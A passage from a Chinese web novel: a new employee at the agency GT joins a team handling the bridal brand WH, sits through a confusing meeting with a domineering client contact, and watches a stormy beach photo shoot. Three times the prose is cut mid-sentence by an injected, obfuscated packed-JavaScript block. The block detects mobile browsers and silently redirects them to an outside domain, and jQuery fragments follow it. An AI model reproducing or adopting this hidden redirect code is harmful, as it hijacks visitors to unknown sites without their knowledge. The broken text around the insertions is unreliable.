“暂时主导,老大的关键词你都没抓住。干不好是要被换掉的。”一个粉红色头发小女孩卡通头像闪动,头像很呆萌,可说出来的话一针见血。
孟猛发了个在线委屈的表情,“那这段时间不还是得我主导……”
“别得了便宜还卖乖。” 粉发小女孩继续输出,“WH项目组Leader,还不够你出去吹嘘的。服务WH集团,别说子公司了,在整个GT,你都算号人物。”
另一个卡通鸭子头像的跟着附和:“就是,就是。你刚刚没看到,二组丽丽听到老大让你主导WH项目,恨不得用机关枪突突了你。”
“低调低调……虽然我们一组是优秀,但也不能太拉仇恨了。老大让我分了俩项目出去,我刚把合同谈下来,便宜他们了。”
我怅然若失得,觉得自己格格不入,只能发了个笑脸。
“WH集团的活儿可不是那么好干的,接下来要各位姐姐妹妹鼎力相助了!”孟猛配了个讨好的表情。
粉发小女孩发了个吐舌头的表情,“那得看小孟子孝敬什么了。”
互怼结束,孟猛扔了文件进群并艾特了我,“冉冉,你先看看,有什么问题随时找我。”
我慢慢地敲出“其实,我到底要做些什么”,想了想,又删掉了,回了个ok的手势。
打开第一份文件,是最近两年WH做过的一些市场活动及对应的一些效果分析。另一份文件是项目背景介绍和需求简报。
WH婚纱春夏新品推介会上周才结束,目前正在推进杂志宣传的新品拍摄。接下来的一个季度,不会再推出新品,要求供应商除了常规的曝光之外,提供新的创意来填充空白——品牌需要变着花样出现在大众视野里。
消费者的注意力是各个品牌争夺的对象。现在信息爆炸,电视广告每天都在狂轰乱炸,可消费者的注意力惊人地分散,能在一分钟内牢牢抓住消费者视线的品牌,就获得了先发优势。任何一个品牌占据了更多消费者心智,就等于占据了被选择的主导地位。换句话说,能让更多的消费者掏钱买单。
道理我都懂,可如果新的创意那么容易,大概就没有客户会找我们干活了。
关掉文件,才发现有三个新的好友请求。我默默对着通讯录,在脑子搜刮模糊的记忆,尽管通讯录里有真名和微信号,我还是不能完全把人对上——粉发小女孩是萌萌,她早上去了合作的MCN机构,没见到真人,大概是很活泼的元气少女型;卡通鸭子是小妍,刚刚给了我电脑;至于那个把脸埋进西瓜里的小男孩,我实在对不上号,只能发微信问孟猛,他过了一会儿才回我,“那是觅觅,我们组的设计大佬。”
“她们都很好相处,不用担心。”
默默叹气,我担心的并不是同事好不好相处,而是我能不能活过试用期。
感觉口渴,才发现自己忘了带杯子来公司。准确地说,常用的两只马克杯都被我落在S市,这次我只带了一只在路上喝水用的保温杯。
幸好茶水间有待客用的茶杯,我一口气灌下去两杯水。两个来茶水间倒水的同事,只是好奇地看了我两眼,并没有搭腔。
茶水间是除了厕所外,我最常放空自己的地方。厕所更好,不会有人跟你寒暄,说一些没有意
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672116|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
义还得硬着头皮回应的废话。不过茶水间也有自己的优点:它是八卦的聚集地。谁能拒绝八卦呢?
我待了十五分钟后回到工位,在电脑上下载了微信客户端,把文件发给自己,然后重新打开。WH集团这两年各种活动做得不少,甚至有一些挺时髦的玩法,比如快闪店、街头时装秀,还有其他一些类行为艺术的活动,但从孟猛的数据看来,效果并不是很好,单从RIO来说,收效甚微。
每个人都忙忙碌碌的,我只是感觉茫然。就像一个巨大的玻璃罩子把我和其他人隔绝开来,也许鱼就是这样透过水面看外面的世界,人类的嘴巴一张一合,却听不到声音。
上午快要结束时,周明凯从办公室里拎着包出来,走到孟猛位置上,低声说了两句,然后出去了。
孟猛哗啦一声连人带椅子滑到我旁边,挤眉弄眼,“老大给了经费,让我带你去吃午饭。”
我愣住了,“欸?不用了吧。”
迎新聚餐这种事情,迄今为止只出现过一次,还是我在那家台湾公司的时候。那是一次异常尴尬的聚会——破旧的小饭馆,油腻的饭餐,用自己的糗事破冰……我再也不想经历第二次。
“听者有份。”小妍挪到孟猛位置旁边,“孟猛,你不能吃独食!”
“怎么叫吃独食呢,这是老大交代的,关怀新同事。”
“不然去吃火锅?”孟猛打开某餐厅推荐软件,开始认真地筛选,“冉冉,你能吃辣吗?”
“能……吧。”我不知道T市的辣能到什么程度。
“大中午吃什么火锅呀,吃完浑身都是味儿。你想想,下午我们就像一堆散发着麻辣味道的金针菇……”
孟猛似乎认真想象了下那个场面,我见他打了个哆嗦,转而问我:“冉冉,你想吃什么? ”
“我都行。”对于挑餐厅点菜这种事,我一贯不擅长。
“去新开的那家日料店吧,有定食,也可以点餐。”
孟猛喜滋滋地说,“还吃什么定食,老大给的预算是八百块呢。”
“迎接我那次,预算才五百块。老大偏心。”小妍嘀咕了一句。
“不然问问萌姐和觅觅?”
小妍把几家餐厅链接发到群里,大家一致同意吃日料,上菜快。
最后,从两个人变成了一行五个人一起去吃午饭。于是,又相互重新认识了下。总算对组里的每一个人有了具象化的认识。
一开始,他们还略微有些拘谨,频频询问我想吃什么。
“你们点吧,我不挑食。”
他们互相看了两眼,接下来,毫不客气地点了满满一桌:和牛寿喜锅、刺身五拼、烤青花鱼、烤鳕鱼、烤牛舌、芝士焗小青龙、寿司拼盘、炸明太子紫苏鸡胸肉、天妇罗、芥末章鱼。
“要不是下午还得上班,真想喝梅子酒。”萌萌一脸向往的表情,“加上冰块,那滋味……”
“中午喝酒不太好吧?我下午还得出两张首页设计作风格确认。”
“就是说嘛,我下午也有一堆意向KOL要聊。怎么不是周五晚上呢?”
“不然周五晚上,我们再聚一次吧?”孟猛兴高采烈地提议。
“周五……我有安排了。”我找了个借口推脱。
老实说,我还没准备好,以这么快的速度和如此稠密的浓度融入新集体。
孟猛有些失望,其他人倒是不以为意,“急什么,后面机会多的是。”
吃完饭回到办公室,午休时间已经过了。
我继续在工位上发呆。每个人都在有条不紊地忙着自己手里的工作,而我的脑子里充满了浆糊,同时又为明天的会议慌乱不堪。没有办法排解,只能一遍又一遍地看材料,可字符像是蝌蚪一样在我面前游过来游过去。
无价值和无意义感间歇性袭来,让我怀疑,无法预期的空洞会将我吞噬。它们成群结队,踏着我的慌乱,攻城略地。我深感悲凉和慌张,接下来的每一秒、每一分钟、每一小时直至每一天,都将在毫无意义的徒劳无功中消亡。
直到萌萌站起来问“走吗”,我才意识到,已经五点了。
我无力地摇了摇头,想要再挣扎一下。
同事们陆陆续续走了,五点一刻,办公室里已经没人了。
天一点点黑下来,窗外的路灯齐刷刷地亮了起来。窗户外隐隐绰绰的树影悄悄地投在玻璃上,阴影斜斜地探进来,平铺在地板上,电脑屏幕的亮光在黑暗中显得突兀。我继续陷入了茫然的发呆。
以前我总是热衷于将手机软件上的红点都点掉,但现在,我只是看着,没有一点消除的冲动。秩序感的重建,我还没有力气去做。
今天这一天过得茫然且急促,我似乎回到了原先的轨迹当中——起床、上班、回家。但是,却像有一条巨大的海藻拖住我,让我步履沉重,无法向前。
13. 第 13 章
没想到,第一次跟WH集团开会,我就闹了笑话。
凌晨五点多才睡着,刚醒就接到了孟猛的电话——上午十点到WH集团开会,昨晚他给我发了微信,我没回他。他问我出门了没,我一个激灵,回复说在路上了。
挂了电话之后,点开微信,果然在一堆垃圾群消息及系统消息里夹杂着他的消息。传达的信息充分且细致,包括开会时间和地址。
火急火燎起床收拾,查路线。
WH集团和GT一个在东边一个在西边,先到公司再去WH肯定来不及。
我怕早高峰堵车就去坐了地铁,下了地铁掏出手机一导航,两眼发黑——导航显示距离WH集团步行十五分钟。穿着7公分的高跟鞋,我有一种生不如死的感觉——高跟鞋不是贵族男性发明的吗?为什么最后受罪的是女性?!
今天太阳特别耀眼,远远看到WH大楼时,差点没亮瞎我的眼。外立面贴着金色金属片,在阳光的照耀下,隔着八百米远都能看见那幻灭的光。
气喘吁吁赶到,就看见孟猛在原地来回打圈,举着手机,皱着眉头。
他一看见我,立马挂断了电话,肉眼可见松了一口气。接着,他问我为什么一直不接他电话。
我从腋下把包扯到胸前,拉开拉链,从最里层的隔层里掏出手机——得,未接来电十几个,全都是他的。只能道歉说忙着赶来,没听见电话。
“下次还是提前到办公室碰头一起走吧。”
往楼里走的时候,孟猛小声跟我普及这栋享有盛誉的楼。
这一整栋楼都是WH集团的。据说在进中国的那一年,他们就买下了T市最好地段的地皮建造了这栋办公楼。此后,WH在华业务增长迅猛,单单这一栋楼,价格都翻了好几倍。
WH为什么没有在一线和超一线城市设立总部,很多人都不理解。
据孟猛的小道消息,WH中国区的老大是一个香港人,笃信风水,跟美国总部那个酷爱中国太极八卦的CEO汇报说T市“气”运浓厚,也不知是真是假。
我们赶在十点差两分进了大厅。
原本以为大楼外观已经够浮夸了,走进大厅的那一刻,我才知道是自己孤陋寡闻。他们的办公楼和门店有着极致的反差,门店有多么简约时尚,办公楼就有多么奢华及……庸俗。
一个以美为事业的公司,应该将自己的美学理念贯彻如一。现在,这二者的割裂感,让我对美学产生了怀疑。
孟猛在前台做访客登记,我突然很想上厕所。
我还没开口,就听到孟猛刻意流露出的欣喜:“您好,我是GT的孟猛。这是我的同事安冉然。您是本次项目对接人吧?怎么称呼您?”
“你们好,叫我Vivian吧。”对接人看着跟我们年纪相仿,柳叶眉高鼻梁,眼神锐利,看上去是不太好惹的那一挂。她打扮精致、穿着入时,一看就是在奢品行业浸淫很久的那种人。读书时候看了太多安妮宝贝的书,Vivian这个名字总让我想起有着一头又黑又直长发,爱穿白色棉布裙的文艺女孩,跟面前这个Vivian完全不同。
她旁边的小女生,戴着哈利波特式圆乎乎的眼镜,稚气未脱,像是实习生,一声不吭。
“不好意思,前面临时加了个会议,晚了几分钟。十楼的会议室都满了。我们去十二层。” Vivian踩着十公分的恨天高,扭着腰走得虎虎生风,边走边说:“我们老板不喜欢那种浮夸的风格,一定要体现质感。质感,你们肯定懂吧?”
抬头看了看这装潢得如拜占庭宫殿一般的大厅——金碧辉煌的天花板,雕着曼陀罗花给的罗马柱,熠熠生辉的水晶大吊顶,我没有吱声。
旁边的孟猛倒是很配合,“懂懂懂,低调的奢华。”
我瞥了他一眼,只见他一脸诚恳。不知道是真的认同还是入戏太深。
等电梯的间隙,我已经感觉自己的膀胱在发出哀嚎。Vivian和小女生站在右边,我习惯性地缩进了电梯左边的角落里,同时夹紧了双腿,希冀在“恰当”的时间能去趟洗手间。
Vivian看了我一眼,“我们的电梯虽然空间不大,但也没那么逼仄吧?
我尴尬地往前挪了挪,“不好意思,习惯了。”
她瞥了我一眼,似笑非笑,没有继续说话。不知道为什么,我感觉自己后脊背发凉,好像一只凶兽盯上了我,目光若有似无地在我周围逡巡,伺机咬我一口。
小女生一路小跑着去刷会议室门禁,会议室大得能开派对。
我们一行四个人,坐在空旷的会议室里,说个话仿佛都能听见自己的回声。Vivian和小女生坐在靠窗的那一侧,我和孟猛坐在靠门的另一侧。
“喝什么?咖啡还是茶?”
“不用了,谢谢。Vivian,我们今天来,想了解下您的预期,探讨下接下来的提案方向。”
她转头跟小女生说:“Betty,去沏壶茉莉花茶来。”
小女生“哦”了一声出去了。
显然只是象征性地问一问我们而已,似乎喝什么对她来说,是比会谈更重要的事情。
随着Betty开始倒茶,我的尿意如茶水倾泻般汹涌。
“不好意思,我想借用下你们的洗手间。”我还是没能忍到“恰当”的时间。
Vivian挑了下眉毛,告诉我卫生间有点远,出会议室后左转,走到走廊尽头;问需不需要让Betty带我去,我委婉拒绝了。她冲着我露出了意味不明的微笑。
我夹着腿,在空荡荡的走廊疾走。
好不容易找到了洗手间,门口那个抽象的标识,让我对于哪个是女洗手间,一筹莫展。我本想等等,跟着别人进,但走廊里空荡荡的。实在是憋不住了,我冲进了自己觉得对的那个。
然后,一声尖叫。我的。
里面有个男的,吓得尿在了外面。
涨红了脸退出来,Betty在门口目瞪口呆。
回会议室的那条路似乎走不到头,我无比尴尬,跟在Betty后面磨磨蹭蹭。我们彼此不凑巧对视了几秒,她尴尬地笑了笑。真是想找个地缝钻进去。
再次进入会议室,脸仍然发烫。Vivian瞥了我一眼,笑容扩大而笑意不达眼底。显然,她对于发生了什么了如指掌,煞有介事地询问我对洗手间标识的观感。合理怀疑,她借此暗讽我对WH推崇的艺术性一无所知。
我腹诽,艺术和装逼是两码事,让人看不懂的厕所标识想要被称为艺术,大概要等到地球毁灭那天。
等等……她对这个情况如此熟悉,莫非……她曾经也在卫生间栽了跟头,就算没有,大概也忐忑地徘徊良久。我的心情突然好了不少,冲她也露出了微笑。
我闹了笑话不假,可我肯定不是唯一的一个。
她愣了愣,目光转向了孟猛。
不由想起不知道在哪里看到的一句话,当你急着炫耀的时候,往往也将弱点暴露给了对手。所以,谦虚谨慎,永不过时。
接下来,双方交换名片,例行开场。
我们花了十分钟听Vivian说品牌历史和理念,为了加深对品牌的理解,她甚至给我们播放了一段创始人的访谈资料。
最初我对WH的品牌理念全都来自于粉丝的热情,孟猛整理的那份材料才让我从一个市场人的角度窥见了用营销传播理念的重要性。
正襟危坐,等待Vivian进入正题。
她既没有说4P,也没有谈任何理论层面的东西,只是抛出来一个问题:“我们下一季销售额需要增长10个百分点,你们有什么建议?”
“我们需要背业绩指标?”我悄悄发了条消息给孟猛。
营销矩阵、视频投放、自媒体引流……我像听天书一样,听着一个个单词从孟猛嘴里蹦出来,然后在空气里轻轻地跃动两下,消失不见。
Vivian有些不耐烦,“不好意思,打断你一下,我不想听这些虚的东西。”
“如果交给我们做投放的话,我们一贯以来的RIO大概是2.1。”孟猛顿了一下,“但咱们这次的合作,似乎不涉及由GT投放。”
Vivian敲了敲桌子,“那我怎么知道花的钱是不是浪费掉了?”
“如果是做活动,我们会给到WH活动数据来看活动效果;如果是广告的话,我们也会给到人群数据和曝光量。但具体提供哪些数据维度,还需要看咱们这次打算做什么。”
Vivian若有所思,这时,她的电话响了起来。她瞟了一眼来电,“不好意思,我接个电话。”
她去接电话的间隙,孟猛回了我消息,“怎么可能。现在经济形势不好,品牌奇奇怪怪的要求也多。一个几十万的案子,曝光量、点击率这些能给到就不错了。”
我呆呆望着打开的电脑屏幕,比刚来的时候更茫然无措。
大概过了十几分钟,Vivian回到了办公室。
她坐下来,“我再强调一下哦,这次的营销案一定不能浮夸,我们老板最讨厌浮夸。”
我回想了一下这座建筑的外形——高大的拜占庭圆形穹顶,金光灿灿的外立面;大厅里金碧辉煌的天花板和大水晶吊灯,差点没晃花我的眼。所谓浮夸,也不过如此吧;她所说的浮夸和我所理解的浮夸,可能彼此之间的差异像是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672117|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
天堑和沟壑。
“要有质感,画面要有像素级的审美颗粒度……”
我实在想象不出他们要的质感是什么样的,至于审美颗粒度,我压根不明白那是什么。
于是,我望向了孟猛,希望他的理解力能跟客户在同一水平线上。
孟猛微笑着问:“Vivian,有没有具体一点的。”
懂了,他也不明白。
我在庆幸自己不是智商洼地的同时担忧这次需求会的走向。
“就什么玫瑰花瓣漫天飞这种,不要,太俗气;色调上不要粉红色,要有大段的舞蹈;不要有那些什么水晶灯大礼堂……”
我努力想要通过只字片语抓到一丝线索,消化她抛出的信息,可是徒劳无功——我们这次到底是要拍个视频,搞个活动还是别的什么?万万没想到,有一天我会用“扑朔迷离”来形容提案而不是破案方向。
努力表现得能听懂她在说什么,在她说话的缝隙中,小心翼翼偷瞄孟猛,他的眉头紧锁。
“我们本来计划要拍一个新的广告,也想过是不是针对目标人群搞一个活动,或者就是出一组新的设计海报做宣传……”Vivian顿了顿,视线依次从我们脸上扫过,“不然,你们说说看你们的想法。”
看来,她的思绪跟我一样混乱。
“结合WH的婚纱发展史和时代审美的变迁,以叙事的方式,做一组长图文广告。您觉得怎么样?”
“不要那么常规,长图文已经不新奇了。其实,我们更希望是体现WH文化的多元化,不要把审美固化。”
她的目光突然跳过孟猛望着我,“安小姐是吗?对于我的诉求,你理解了多少?有什么提议吗?”
“您的意思是,让男性来试穿婚纱?”
Vivian愣住了,我的提议可能是跳脱了点。
“她开玩笑的。”孟猛赶紧打了个圆场,“您觉得,如果咱们用不同肤色不同年龄的女性来展示婚纱,是不是能够体现审美的多元化?”
她一副兴致缺缺的样子,“差不多这个意思吧。算了,这些执行层面的事情,还是让Betty晚点跟你们聊吧。”
Betty一脸震惊,大概没想到,自己莫名其妙就被派了活儿。更何况,这活儿从何干起都不知道。
Vivian伸出手,戳着手机屏幕,“你们谁建个群吧?有事儿群里沟通。”
孟猛迅速建好了群,并把名字改成了“WH-GT营销沟通群”。刚建好群,Vivian就拉进来了五六个人,并在群里介绍了我们。
我们这边显得势单力薄,孟猛又拉了三个同事进来。
“今天就这样吧。平时我比较忙,有事情找Betty就行。”
Vivian下了逐客令,走出WH大楼的时候,我不知道孟猛在想什么,但我完全没感受到本次工作的价值——开了冗长的两个小时会,实质性的内容似乎并没有触及。要说今天唯一的推进,大概是建立了一个超十人的微信工作组。
在回公司的路上,我问孟猛,“我们这样就算开完会议了?”
“第一次会议大体都是这样,主要是大多数品牌都不知道自己到底想要什么。”
刚说完,工作群就弹出一条消息。
“麻烦下次GT代表来的时候带着可行性方案来,今天这样的会议,虽然增进了你们对品牌的认识,但效率不高。另外,麻烦邮件给我们今天的会议总结。谢谢。”
接着Betty在群里扔了一堆人的邮箱地址。
我和孟猛对视了一眼,在彼此眼中看到了诸如“卧槽,有病吧”的信息,这显然不是临时起意,而是蓄谋已久的甩锅。
“这个Vivian,她到底有什么大病?就她最引以为豪的那个活动,RIO连1都不到。也不知道她是怎么能把那个当作能贴金的业绩拿出来炫耀的!”孟猛还是没忍住,在车上猛吐槽。
“别管她了……她显然是只想显摆下她的甲方地位。”
孟猛沉默了,我想,我大概触及了本次会议的内在。
“我下午还要去见另一个有些棘手的客户,会议总结你发吧。写给Vivian,抄送给群里的所有人,加上咱们的人。”孟猛自嘲说:“拉齐进度。”
我感觉头昏脑涨,该写什么,怎么写,我没有一点概念。
作为一个曾经的行政兼助理,我当然做过会议记录。可是,今天的会议主题看上去约等于无,讨论信马由缰,最后也没个明确结论。
我叹了口气,“什么时候要给?”
孟猛看了我一眼,似乎我问了个奇怪的问题,“今天内……最好。”
14. 第 14 章
“你知道前一段时间特别火的那个海报吗?就一整组卷轴民国主题风那个。我们就想要那样的,宏大的叙事,要有故事感,要有悬念。目前这个创意太平淡了……”
孟猛的电话里传出一个尖锐高亢的男性声音,小妍皱着眉头,不动神色转动身体,背对孟猛。
“我们现在是要进悬疑频道了吗?”觅觅在小群里吐槽。
上午Vivian才说长图文落伍了,下午就有客户把长图文海报当作创意灵感拿出来作为参考。何尝不是另一种熊掌砒霜。
接下来,他们讨论的东西就超出了我的专业范畴,早期的用户调研、市场分析再到营销矩阵,营销矩阵,夹杂着一大堆的专业术语和英文缩写。
这就是我的未来——每天都要面对挑剔且不知所云的客户,就像孟猛正在面对的——我对自己没有信心,那些名词都太深奥了。
正当我不知道神游到哪儿的时候,觅觅戳了戳我,示意我电话响了。
我望着群里的微信来电,愣了几秒后才接,是Vivian。
“我们下午要拍一组平面,将会在知名的FNM杂志的主题周刊登。为了加深对我们品牌的理解,我希望你下午能到现场……”
她在电话里不知道在敲着什么,可能是用手敲桌子发出的声响,让我分心。
我的脑海里先浮现出她锋利的眉毛和嘴唇,然后是她那一双胖乎乎圆滚滚的小手——此时此刻,她正在用圆呼呼的指甲敲打着黑色木头桌——长相和手相去甚远,在她身上形成一种奇异的反差。
“安小姐?”
“抱歉,您说什么?”我掩饰自己的走神,“我这边信号不太好……”
“我问你下午可以去看平面杂志拍摄吗?”
望着马上要下雨的天,我非常想说没空。但我也非常清楚地知道,Vivian并不是在询问而是在要求。
我当然要说可以,这是唯一正确的回答。
但我不知道为什么她跳过了孟猛而来找我。
“地址在蔚蓝海岸,拍摄下午2点开始。”
还没等我询问,她就啪嗒挂断了。
你看,世界从来就是这样,有些人制定规则,有些人只能遵守规则。而我,是那个要冒雨打车2个小时去远郊海边的倒霉蛋。
看了看手机,已经快十二点了。我跟孟猛说了情况,然后跑去楼下便利店买了个三明治塞在包里。
果然,路上就开始下大雨。幸运的是我们往郊区的方向并没有多少车,我望着跟我们反方向的车流,像一群蚂蚁一样缓慢地挪动着。
我啃着三明治,司机从后视镜里瞥了一眼,“小姐,不要把食物掉在我车上。”
默默在心里疯狂吐槽,抓紧塞了两口,却不小心噎住了。
司机叹了口气,在等红灯的间隙递给我一瓶矿泉水。我猛灌水,终于把卡在喉咙口的面包冲了下去,涨红着脸对他说了声谢谢——差一点因公去世。我跟T市八字不合。
我不停地看手机,生怕自己迟到。
离沙滩还有大概十几分钟车程的时候,雨停了。
下过雨的天空像水洗过一样,蓝色清澈的不像真的。腥咸的海风吹动唯一的乌云,它不情不愿地被推着向山飘去。细碎的流云在天空中漫无目的地飘动,似乎没有太阳,便失去了追逐的对象。
距离两点还差十分钟,我下了车向沙滩一路小跑,拍摄已经开始了。途中给Vivian发了条微信,“我已经到了。”
她没有回复。
“破碎感,要有一种在风雨飘摇中仍然觉得幸福……”导演拿着大喇叭,冲着女模特喊。
Shit,谁能告诉我破碎感和幸福有什么关系?
沙滩上男女模特大概已经彼此熟悉了,默契十足。两个人靠在一起,女生仰着脸望着男生,男生的眼睛里要漾出水来,糖分超标,任谁都会认同他们是一对完美CP。
女模特身高最少175,胸以下全是腿,却长了一张人畜无害的甜美萌妹脸,这都什么鬼畜组合。苗条纤细的高个子不应该配张冰冷酷帅的御姐脸吗?
男模特高得离谱,目测快2米了,女模特站他身边显得小鸟依人。我要是站他身边,大概就像未成年少女。一张轮廓分明的混血脸,眼窝深陷,鼻梁高挺。即使不说话,都像有千言万语要倾诉的妖孽。
这一对金童玉女,制造出婚姻是通往美好生活必经之路的幻象。
即使那是假的,可如此美好的画面,会让人忽略对婚姻的怀疑,相信童话真的存在,王子和公主从此过上了幸福的生活……
不知道老天为什么要这么惩罚我,我不断对自己洗脑“结婚不一定是人生的必选项,结了婚也不一定就会幸福”,刚略有成效的时候,给了我一击:目眩神怡的笑容和甜蜜的气氛,向我传递一个明确的讯息——至少在举行婚礼的那一刻,人们是真的感受到了幸福。
我甚至无缘由地嫉妒起女模特,她穿着我向往的GT婚纱,这一季的设计据说是欧洲著名大师Michale的创意。婚礼的意义,在于能有一个正当理由,穿上向往已久的婚纱。
随着模特摆出不同的Pose,摄影师不断按下快门,“再来一张”、“换个姿势”、“很好,保持微笑”,在他喊出“换下一套”时,模特肉眼可见松弛了下来。他们分别钻进简易帐篷换衣服,服装助理和化妆助理在旁边待命。
男模特突然向我走了过来,我下意识往后缩了一下——他太帅了,我怕自己晕倒。
“能麻烦给我张纸巾吗?”
他把我当作了工作人员。我慌乱无措地翻包,最后在底部翻到一包纸巾,整包塞给他,然后跑开了。
雨水浇下来的时候,拍摄只进行了一半。工作人员都跑回车子避雨,我谁都不认识,只能一个人跑到附近小木屋的屋檐下站着。
淋了点雨,我想拿纸巾擦一擦,才想起来把整包都给了男模特——我愤恨地骂自己:真是蠢猪!
百无聊奈翻开手机,小群里已经一堆消息了。
起因是孟猛在群里告知了团队我下午出外勤,然后艾特我说看完拍摄就不用回公司了。
其他人就开始问拍摄地址之类的事情,得知在蔚蓝海岸之后,萌萌就炸了。
“孟猛,你怎么能冉冉一个人去呢?!那个沙滩远得要命,今天还播报有大到暴雨。”
我的眼眶红了一下,久违的温情,并不是刻意的假装的关怀。
“WH是不是有病?挑这么个天气拍什么杂志封面,难道他们主打美强惨了吗?”
“听说是要配合这一季的主题,用恶劣极端的天气和甜蜜美好的婚姻做对比,来凸显婚姻的重要性——就算外面的世界一片狼藉,最终你能依靠美满的婚姻度过难关。”
“不知道是哪个脑残广告公司提的创意……这难道不是告诉大家,就算你穿再美的婚纱也没用,婚姻就像恶劣的天气,常常会打得你措手不及。”
然后她们轮番艾特我,问我的情况。
“我已经在现场了,放心,没下大雨。我在小木屋避雨……”
消息还没发出去,中雨突然转为倾盆大雨。搭好的简易帐篷被风吹得东倒西歪。我穿得不多,感觉风向我劈头盖脸地吹过来,雨水贴着粘在皮肤上,湿哒哒腻乎乎的,我打了个哆嗦。
门吱呀一声开了。从里面走出一个很英俊的男人。他穿着白色的长袖T恤,卡其色休闲长裤,样子闲适极了。
“要进来避避雨吗?”他的笑容纯粹且温柔,看得出家教很好。
“不……不用了吧。”
他很帅,但我今年不是十五岁。
“我太太看见你在窗口,担心你会着凉。不介意的话,可以进来避个雨,喝个茶。”
一听有女主人在,我放下了防备心,“那就打扰了。”
吧台和餐桌正对着海,坐着就能看到海天相接。
他抽了两张纸巾递给我。
“谢谢。你们是在这里度假?”
他一开口,我就受到了重击:“我太太喜欢海,所以我们就买了这个小木屋,隔三岔五来小住。”
看,标准典型的小开。良好的出身,有自己的事业。我忙着工作避免饿死,别人连班都不用上。
“谁是你太太呀?还没办婚礼呢。”还没见到人,一个娇俏的声音从厨房传了出来。听声音,就知道是个可爱的姑娘。
果然,走出来的女孩子纤细苗条,皮肤白得像会发光。眉眼精致,气质极好,给人一种衣食无忧的从容感。
“你们聊,我去准备下午茶。”又一次暴击,果然好老公都是别人的。“想喝茶还是咖啡?还是喝茶吧,这个时候喝咖啡,你晚上会睡不着。”
“你冲的我都喜欢喝。”女孩子冲着他笑了起来,唇边的两个小梨涡异常甜美。
男主人走到吧台后面,将煮沸的水浇在茶壶边缘,烫了茶盅,然后用镊子取出碧绿的茶叶,水融进茶叶的一瞬间,茶香四溢。旁边是手冲咖啡的机器。
我跟女孩闲聊,她以为我是GT公司的员工,笑得非常灿烂,“我一直都喜欢这个牌子的高定婚纱。你能不能帮我问下20年春夏那季的品还能买到吗?”
木然地问她是哪一款,她拿手机翻出图片给我看——是我的dream wedding dress。
她男朋友,哦,不对,是老公,调侃说,如果不再出了,就把WH的设计师挖到自己公司来,让他再重新设计一款类似的。
准新娘笑得眉眼弯弯,“那你就不能陪我在这里消磨时光了,得把公司开到巴黎去……”
金光闪闪的一对,让人目眩。
全世界都很幸福,除了我。
准新郎已经将第一泡倒进水池,冲水入壶,大概两三分钟,然后分茶。
接过递过来的茶盅,他的指节分明,碧绿的茶汤在茶盅里荡漾。
屋子里干燥温暖,外面大雨倾盆,雨水打在窗框和玻璃上,发出噼噼啪啪的声响。暴雨天喝热茶,是一种令人心安的享受。
“为什么喜欢那一款?”抚摸着茶盅的边沿,抿了一口。发凉的手指尖渐渐暖了起来。
“我太太喜欢那一季的简约设计。”
女孩歪着头补充:“其实也不单单是我,有好几个朋友都觉得前几年的设计很有亮点。”
我喃喃自语:“看来还真是不少人喜欢经典款。”
“也不是啦,我们几个喜欢的是不同年份的不同款。你还记得有一季
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672118|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是走精灵路线嘛?我最好的朋友爱死了那个系列。”
精灵路线?我很茫然。
领口和袖口蕾丝,修身鱼尾的设计——经过她的提示,我终于想起来,WH确实出过这么一个系列,是新设计师刚上任时操刀的,似乎卖的不是很好——那款婚纱对新娘身材要求极高。
“是因为那个系列稀少吗?”心里想着,我不自知就说了出来。
“每个人喜欢不同的风格很正常呀。其实,WH以前风格比现在多样些……”
有个念头一闪而过,我还没来得及抓住它,就听见外面在喊:“雨小了,抓紧时间把最后一组拍完收工。”
低头眷念地看一眼手里的小茶盅,“我要回去工作了。”
女孩惊讶地望了眼外面,“雨还没停哎……你们工作真辛苦。”
我深深吸了口气,对他们表示了感谢。
“好呀。欢迎下次再来玩。”
说是下次,其实不过是句客套话。我同她,在任何层面都没有交集。
最后一组婚纱照在狂放的大风里拍摄,细软的雨水轻软贴在婚纱的纱裙上——女模特这下真是破碎感十足。
婚纱照强调破碎美感,这合适吗?
我甚至怀疑,这期杂志的主编是不是不婚主义者。虽然拍出来的效果很唯美,但WH毕竟不是做冲锋衣的,如果是反讽,倒是非常贴切。
鉴于我不过是合作方派来理解品牌理念的,我很识相的不发表评论,问意见只说美就好了。
回程途中,我收到孟猛的提醒,让我别忘了发会议总结。
幸好我带了电脑,按会议记录的格式,把品牌理念、主题探讨和一些模糊似是而非的结论堆砌在一起……
微信接连弹出几条消息,最后一条是:“现场拍摄怎么样?这种天气拍外景,同情女模特……”,我瞄了两眼顺手滑走,继续写总结。
往客户群里扔完会议总结之后,随手回了刚刚看到的那条微信。
群里鸦雀无声。大概都在忙手里的事情。
